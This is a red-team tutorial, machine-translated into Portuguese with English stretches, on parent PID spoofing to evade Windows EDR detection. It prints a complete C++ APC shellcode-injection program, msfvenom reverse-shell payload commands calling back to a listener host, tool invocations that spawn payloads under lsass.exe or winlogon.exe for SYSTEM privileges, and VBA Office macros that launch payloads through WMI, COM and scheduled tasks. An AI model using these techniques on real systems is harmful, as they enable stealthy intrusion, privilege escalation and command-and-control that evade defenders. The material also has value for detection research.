Falsificação de PID pai

Monitorar as relações entre os processos pai e filho é uma técnica muito comum para as equipes de caça a ameaças detectarem atividades maliciosas. Por exemplo, se o PowerShell é o processo filho e o Microsoft Word é o pai, então é uma indicação de comprometimento. Vários EDR’s (detecção e resposta de endpoint) podem detectar essa atividade anormal facilmente. Isso levou as equipes vermelhas e os adversários a usar a falsificação PID dos pais como um método de evasão. A chamada de API do Windows “CreateProcess” oferece suporte a um parâmetro que permite ao usuário atribuir o PID pai. Isso significa que um processo mal-intencionado pode usar um pai diferente quando é criado daquele que é realmente executado.

Originalmente, essa técnica foi introduzida no público mais amplo de segurança da informação em 2009 porDidier Stevens. Uma prova de conceito escrita em C++ foi lançada (SelectMyParent) que poderia permitir que o usuário selecionasse o processo pai especificando o PID (identificador de processo). A função “CreateProcess” foi utilizada em conjunto com a função “STARTUPINFOEX” e “LPPROC_Thread_ATTRIBUTE_LIST”.

1	`SelectMyParent.exe notepad 508`

Falsificação de PID pai – SelectMyParent

O PID 508 corresponde ao processo “lsass.exe”, que é responsável por atividades de logon, alterações de senhas, etc. O bloco de notas será criado sob o processo lsass.exe.

Process Explorer – SelectMyParent

A investigação das propriedades do processo mostrará que o Bloco de Notas está sendo executado com privilégios de nível SYSTEM. Isso ocorre porque o processo filho (bloco de notas.exe) obterá os privilégios do processo pai (lsass.exe).

SelectMyParent – Propriedades do processo

Em uma sessão do Meterpreter, os comandos a seguir podem ser usados para recuperar o PID da sessão atual e, especificando o nome do processo, os resultados serão filtrados somente para esse processo específico.

SelectMyParent – Meterpreter

PowerShell (em inglês)

A F-Secure lançou um script do PowerShell (PPID-Spoof) que pode executar a falsificação PID pai. O script contém código C# incorporado para interagir com a API do Windows “CreateProcess”.

public static extern bool CreateProcess(

string lpApplicationName,

string lpCommandLine,

ref SECURITY_ATTRIBUTES lpProcessAttributes,

ref SECURITY_ATTRIBUTES lpThreadAttributes,

bool bInheritHandles,

uint dwCreationFlags,

IntPtr lpEnvironment,

string lpCurrentDirectory,

[In] ref STARTUPINFOEX lpStartupInfo,

out PROCESS_INFORMATION lpProcessInformation);

A ferramenta aceita 3 argumentos que são o PID do processo pai, o caminho do sistema do processo filho e o caminho de uma DLL arbitrária para execução de código.

1	`PPID-Spoof -ppid 3556 -spawnto "C:\Windows\System32\notepad.exe" -dllpath pentestlab.dll`

Falsificação de ID pai – PowerShell PPID-Spoof

O bloco de notas será executado no contexto do PowerShell e a DLL será carregada dentro do bloco de notas.exe.

PPID Spoof – DLL do bloco de notas carregado

Como a DLL será carregada dentro do processo, um canal de comunicação será aberto com a estrutura de comando e controle.

Falsificação PPID – Meterpreter

Uma abordagem mais furtiva poderia ser carregar a DLL dentro do processo “LSASS”. As equipes de caça a ameaças terão que revisar o EventHeader ProcessId e o ParentProcessID para identificar a falsificação do processo.

1	`PPID-Spoof -ppid 3244 -spawnto "C:\Windows\System32\lsass.exe" -dllpath pentestlab.dll`

Falsificação PPID – LSASS

Um novo processo “LSASS” será criado no sistema que carregará a DLL arbitrária. Esse cenário permite que a equipe vermelha se misture com os processos legítimos do ambiente.

Falsificação PPID – LSASS DLL carregado

Uma sessão do Meterpreter será aberta com a ID do processo de 1312 que corresponde ao processo “rundll32” que é o filho de “lsass.exe” que executa a DLL.

Falsificação PPID – LSASS Meterpreter

Andrea Pieriniimplementou a técnica de falsificação de PID pai incorporando código C# em um script do PowerShell. O script criará um novo processo filho que terá como pai qualquer processo definido pelo usuário. Da mesma forma, com o script da F-Secure Labs, a API “CreateProcess()” é usada para executar a falsificação.

1 2	`Import-Module .\psgetsys.ps1` `[MyProcess]::CreateProcessFromParent(436,"C:\Windows\System32\cmd.exe","")`

Parent PID Spoofing – psgetsys

The created process will obtain the privileges (SYSTEM) of the parent (winlogon.exe).

Parent PID Spoofing – psgetsys Process Explorer

C++

Adam Chesterexplicou em seublogem 2017 como o comando “getsystem” do Meterpreter funciona nos bastidores para elevar os privilégios de um processo de Administrador para SISTEMA. Adam expandiu oartigodeRaphael Mudgeem 2014 sobre as três técnicas que o Meterpreter está usando para se tornar SYSTEM.

O bináriogetsystem-offlineutiliza a API “ImpersonateNamedPipeClient” do Windows para elevar seus privilégios para SYSTEM. Isso é conseguido criando e impondo um serviço que é executado como SYSTEM para se conectar a um canalizado nomeado de um processo e usar a API “ImpersonateNamedPipeClient” para criar um token de representação elevado.

Falsificação de PID pai – getsystem-offline

Por padrão, o binário abrirá um novo prompt de comando com privilégios elevados.

Falsificação de PID pai – getsystem-offline elevado

No entanto, o código pode ser modificado para executar um binário arbitrário que estabelecerá uma comunicação com o prompt de comando.

Falsificação de PID pai – getsystem-offline

getsystem-offline – Meterpreter

De acordo com a documentação da Microsoft, uma “Chamada de procedimento assíncrono” é uma função executada no contexto de um thread específico de forma assíncrona. É um método de injeção de processo queHalil Dalabasmazusou em sua ferramenta C++APC-PPIDque implementa a falsificação PID pai.

Inicialmente, a função “getParentProcessID()” é usada para recuperar o PID do processo pai. O cabeçalho “TlHelp32.h” (parte da Biblioteca de Ajuda daFerramenta) suporta a função “CreateToolhelp32Snapshot” que é responsável por tirar um instantâneo do processo especificado (explorer.exe). Quando o instantâneo é tirado, o tamanho do processo e o PID são recuperados e o identificador é fechado.

DWORD getParentProcessID() {

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

PROCESSENTRY32 process = { 0 };

process.dwSize = sizeof(process);

if (Process32First(snapshot, &process)) {

do {

if (!wcscmp(process.szExeFile, L"explorer.exe"))

break;

} while (Process32Next(snapshot, &process));

}

CloseHandle(snapshot);

return process.th32ProcessID;

}

A API do Windows “CreateProcess” é utilizada para criar um novo processo no sistema (iexplore.exe) com a estrutura “STARTUPINFOEXA”.

#include <windows.h>

#include <TlHelp32.h>

#include <iostream>

DWORD getParentProcessID() {

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

PROCESSENTRY32 process = { 0 };

process.dwSize = sizeof(process);

if (Process32First(snapshot, &process)) {

do {

if (!wcscmp(process.szExeFile, L"explorer.exe"))

break;

} while (Process32Next(snapshot, &process));

}

CloseHandle(snapshot);

return process.th32ProcessID;

}

int main() {

unsigned char shellCode[] = "";

STARTUPINFOEXA sInfoEX;

PROCESS_INFORMATION pInfo;

SIZE_T sizeT;

HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, getParentProcessID());

ZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA));

InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);

sInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT);

InitializeProcThreadAttributeList(sInfoEX.lpAttributeList, 1, 0, &sizeT);

UpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL);

sInfoEX.StartupInfo.cb = sizeof(STARTUPINFOEXA);

CreateProcessA("C:\\Program Files\\internet explorer\\iexplore.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, reinterpret_cast<LPSTARTUPINFOA>(&sInfoEX), &pInfo);

LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pInfo.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

SIZE_T *lpNumberOfBytesWritten = 0;

BOOL resWPM = WriteProcessMemory(pInfo.hProcess, lpBaseAddress, (LPVOID)shellCode, sizeof(shellCode), lpNumberOfBytesWritten);

QueueUserAPC((PAPCFUNC)lpBaseAddress, pInfo.hThread, NULL);

ResumeThread(pInfo.hThread);

CloseHandle(pInfo.hThread);

return 0;

}

APC-PPID – Processo Pai

Metasploit utilitário “msfvenom” pode ser usado ou qualquer outra alternativa para gerar shellcode na linguagem C. O código será gravado no espaço de endereço do processo criado (iexplore.exe).

1	`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.13 LPORT=4444 EXITFUNC=thread -f c > pentestlab.txt`

Metasploit ShellCode – APC-PPID

APC-PPID – Código C++

A execução do binário no sistema de destino criará um novo processo (iexplore.exe) que terá como pai o explorador.exe. O shellcode será executado no espaço de memória do processo do Internet Explorer usando a chamada de procedimento assíncrono de modo de usuário.

Falsificação de PID pai – APC-PPID

Uma sessão do Meterpreter será estabelecida com o host de destino.

APC-PPID – Meterpreter

A revisão dos processos do sistema de destino mostrará que “iexplore.exe” foi criado com sucesso.

APC-PPID – Explorador de Processos

A revisão das propriedades do processo validará que o processo pai é “explorer.exe”. Essa prova de conceito implementa um método de injeção de processo mais furtivo para ocultar o shellcode dentro de um processo e, como o Explorer e o Internet Explorer são válidos, os processos do sistema Microsoft se misturarão ao ambiente ignorando o produto de detecção e resposta de ponto de extremidade.

APC-PPID – iexplore.exe Properties

Julian Horoszkiewiczdesenvolveu uma ferramenta C++ (spoof) baseada no trabalho de Didier Stevens que pode ser usada para falsificação PID pai, pois permite que o usuário selecione o processo PID pai.

1	`spoof.exe pentestlab.exe 1116`

Parent PID Spoofing – Spoof

Once the process is created on the target host the arbitrary payload will executed and a session will open.

Parent PID Spoofing – Spoof Meterpreter

Revisar os detalhes do processo do PID no explorador de processos validará que o processo é um processo filho do explorador.exe.

Falsificação de PID pai – Process Explorer

Falsificação de PID pai – Processo pai do Explorer

C

O binárioGetSystemé desenvolvido em C# e implementa a falsificação de ID do processo pai para elevar os direitos para SYSTEM. Isso é conseguido por meio da API “CreateProcess”, semelhante ao código lançado pela F-Secure Labs. O binário .NET aceita apenas dois argumentos que são o executável arbitrário e o nome do processo que atuará como um pai.

1	`GetSystem.exe pentestlab.exe lsass`

Falsificação de PID pai – GetSystem

O processo “pentestlab.exe” será criado no host de destino como um filho de “lsass.exe”.

GetSystem – Processo LSASS

A comunicação será estabelecida com a estrutura de Comando e Controle correspondente com privilégios de nível SYSTEM.

GetSystem – Meterpreter

O fato de que “GetSystem” é baseado em C# dá a capacidade de implementar essa técnica via Covenant ou qualquer outro Framework relevante (Cobalt Strike) que pode carregar binários de montagem.

1	`Assembly GetSystem.exe "pentestlab.exe lsass"`

GetSystem – Convênio

GetSystem – Meterpreter via Covenant

Semelhante ao comando “migrate” do Metasploit Framework, um binário de assembly pode ser executado para elevar o processo de Administrador para SYSTEM.

Falsificação de PID pai – GetSystem Covenant

A investigação da lista de “Grunts” disponíveis mostrará que o novo agente está sendo executado com privilégios de nível SYSTEM em comparação com o processo inicial.

Aliança – Grunhidos

O processo pai será o “LSASS” ou qualquer outro processo que esteja sendo executado com privilégios de nível SYSTEM.

Convênio – Process Explorer

Chirag Savladesenvolveu em C# umaferramentapara executar injeção de processos com capacidade de executar spoofing PID pai, utilizando todas as APIs comuns do Windows (CreateProcess, VirtualAllocEx, OpenProcess etc.). O benefício desta ferramenta é que suporta diferentes técnicas de injeção de processo com a falsificação PID pai. A ferramenta aceita shelllcode em base-64, C e hex. Metasploit “msfvenom” utilitário pode gerar shellcode nesses formatos.

1	`msfvenom -p windows/x64/meterpreter/reverse_tcp exitfunc=thread LHOST=10.0.0.13 LPORT=4444 -f hex > pentestlab.txt`

Generate ShellCode – HEX

The tool requires the path of the injected process, the path of the shellcode, the parent process name, the file format of the payload and the process injection technique. Executing the following command will inject the shellcode into a new process (calc.exe) using as a parent explorer.exe.

1	`ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"pentestlab.txt" /parentproc:explorer /f:hex /t:4`

ProcessInjenction – Vanilla

Monitoring the processes will validate that the calculator has been created in the context of explorer.exe.

ProcessInjection – Process Explorer

The shellcode will executed in the virtual address space of calc.exe and a communication will established with the command and control.

ProcessInjection – Vanilla Meterpreter

ProcessInjection supports also parent PID spoofing with DLL injection. Arbitrary DLL files can be generated with Metasploit “msfvenom”.

1	`msfvenom -p windows/x64/meterpreter/reverse_tcp exitfunc=thread LHOST=10.0.0.13 LPORT=4444 -f dll > pentestlab.dll`

Metasploit – DLL

The path of the DLL needs to be specified instead of the shellcode and the technique value should be changed to 5.

1	`ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"pentestlab.dll" /parentproc:explorer /t:5`

ProcessInjection – DLL Injection

When the remote thread will be created inside the process the shellcode will executed and a Meterpreter session will open.

ProcessInjection – DLL Injection Meterpreter

The session will run under the context of “rundll32” process.

ProcessInjection – Process Explorer DLL

Specifying the technique number 6 will perform parent process spoofing with process hollowing technique.

1	`ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"pentestlab.txt" /parentproc:explorer /f:hex /t:6`

ProcessInjection – Process Hollowing

ProcessInjection – Meterpreter

The tool also supports process injection with asynchronous procedure call. Execution of the shellcode will occur before the entry point of the main thread of the targeted process for a more stealthier approach.

1	`ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"pentestlab.txt" /parentproc:explorer /f:hex /t:8`

ProcessInjection – APC Queue

ProcessInjection – APC Queue Meterpreter

A C# utility called RemoteProcessInjection also exists with the ability to perform process injection. The tool was designed for Cobalt Strike and accepts base-64 based payloads. Metasploit utility “msfvenom” can generate raw shellcode which can be trivially converted to base-64.

1 2	`msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o payload64.bin LHOST=10.0.0.13 LPORT=4444` `base64 -i /root/payload64.bin > payload64.txt`

msfvenom – Raw Base64 Payload

The shellcode will be injected into the target process. Even though it doesn’t utilize the “CreateProcess” API to spoof the parent process it gives the ability to hide malware inside legitimate windows processes.

1	`RemoteInject64.exe 4272 <base64-shellcode>`

Remote Process Injection

The payload will executed from the memory address space of the target process. The process injection method has similarities with the “migrate” Metasploit command since it uses the same Windows API’s.

Remote Process Injection – Meterpreter

VBA

Microsoft office has been always a very popular delivery mechanism of malware as it helps threat actors and red team to get initial foothold inside an organisation. However execution of malicious code in the form of a macro will create an arbitrary child process that could be easily discovered by EDR’s that have the ability to analyse the anomaly between the parent and child relationship of processes.

There are a variety of approaches that could be used in order to evade detection of EDR products that investigate parent/child relationships. For example VBScript can invoke other system resources to execute malware such as WMI, COM or scheduled tasks. Therefore the parent process will not be WINWORD for example but a process of the Windows operating system.

The following macro will use WMI (Windows Management Instrumentation) in order to create a new process.

Sub Parent()

Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")

Set objStartup = objWMIService.Get("Win32_ProcessStartup")

Set objConfig = objStartup.SpawnInstance_

Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")

errReturn = objProcess.Create("C:\Temp\pentestlab.exe", Null, objConfig, intProcessID)

End Sub

Macro – WMI

The benefit from this approach is that the created process will be spawned under “WmiPrvSE.exe” instead of an office process.

WMI Process Explorer

A communication channel will open with the command and control framework.

WMI Macro – Meterpreter

COM objects can be also used to execute a new process.

Sub Parent()

Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")

obj.Document.Application.ShellExecute "pentestlab.exe",Null,"C:\Temp\",Null,0

End Sub

Macro – COM

The result of executing a malicious executable with this method is that the parent process will be “explorer.exe” even though the execution will happen inside the office product.

Macro COM – Process Explorer

The following image demonstrates that a session will open in Meterpreter through a COM object that is executing an arbitrary payload.

Macro COM – Meterpreter

Scheduled tasks are often used as a persistence method since it allows red teams to execute their trade-craft at a specific date or time. However it could be used as well for parent PID spoofing since a scheduled task can be created directly from a vbscript. The following code will register a new scheduled task that will trigger the execution of a payload after 30 seconds.

Sub Parent()

Set service = CreateObject("Schedule.Service")

Call service.Connect

Dim td: Set td = service.NewTask(0)

td.RegistrationInfo.Author = "Pentest Laboratories"

td.settings.StartWhenAvailable = True

td.settings.Hidden = False

Dim triggers: Set triggers = td.triggers

Dim trigger: Set trigger = triggers.Create(1)

Dim startTime: ts = DateAdd("s", 30, Now)

startTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" & Right(Second(ts), 2)

trigger.StartBoundary = startTime

trigger.ID = "TimeTriggerId"

Dim Action: Set Action = td.Actions.Create(0)

Action.Path = "C:\Users\pentestlab.exe"

Call service.GetFolder("\").RegisterTaskDefinition("PentestLab", td, 6, , , 3)

End Sub

Macro – Scheduled Task

The new process will not have as a parent the process of a Microsoft product but “svchost.exe” as a more stealthier approach.

Tarefa agendada de macro – Process Explorer

A revisão das propriedades do processo arbitrário validará que o processo pai é “svhcost.exe”.

Tarefa agendada de macro – Propriedades do processo

Metasploit

Metasploit framework contém um módulo de pós-exploração que pode ser usado para migrar uma sessão existente do Meterpreter para outro processo no sistema. O módulo seguirá as mesmas funções que as outras ferramentas descritas neste artigo para reescrever o shellcode existente no espaço de endereço de outro processo. Especificamente, o módulo seguirá o processo abaixo:

Obter o PID do processo de destino
Verifique a arquitetura do processo de destino (32 bits ou 64 bits)
Verifique se a sessão do Meterpreter tem oSeDebugPrivilege
Recuperar a carga útil do processo existente
Chame a APIOpenProcess()para obter acesso à memória virtual do processo de destino
Chame a API VirtualAllocEx()para alocar memória RWX no processo de destino
Chame a API WriteProcessMemory()para gravar a carga no espaço de memória virtual do processo
Chame a API CreateRemoteThread()para criar um thread no espaço de memória virtual do processo de destino
Fechar o thread anterior

Uma sessão existente deve ser definida com o PID e o nome do processo de destino.

use post/windows/manage/migrate

set SESSION 1

set PID 508

set NAME lsass.exe

set KILL true

Metasploit – Migrar a configuração do módulo

A execução bem-sucedida do módulo produzirá os seguintes resultados:

Metasploit – Migrar módulo

Da mesma forma, o Meterpreter também contém o comando “migrate”, que pode migrar a sessão existente para outro processo.

Meterpreter – Migrar

YouTube (em inglês)

Demonstrações de falsificação de PID pai

Toolkit

Ferramenta	Idioma
Selecionar Meu Pai	C++
PPID-Spoof	PowerShell (em inglês)
GetSystem	C #
getsystem-offline	C++
APC-PPID	C++
PPID_spoof	C++
psgetsystem	PowerShell (em inglês)
ProcessInjection (Injeção de Processo)	C #
RemoteProcessInjection (em inglês)	C #
Spoofing-Office-Macro	VBA

Referências

Artigo Original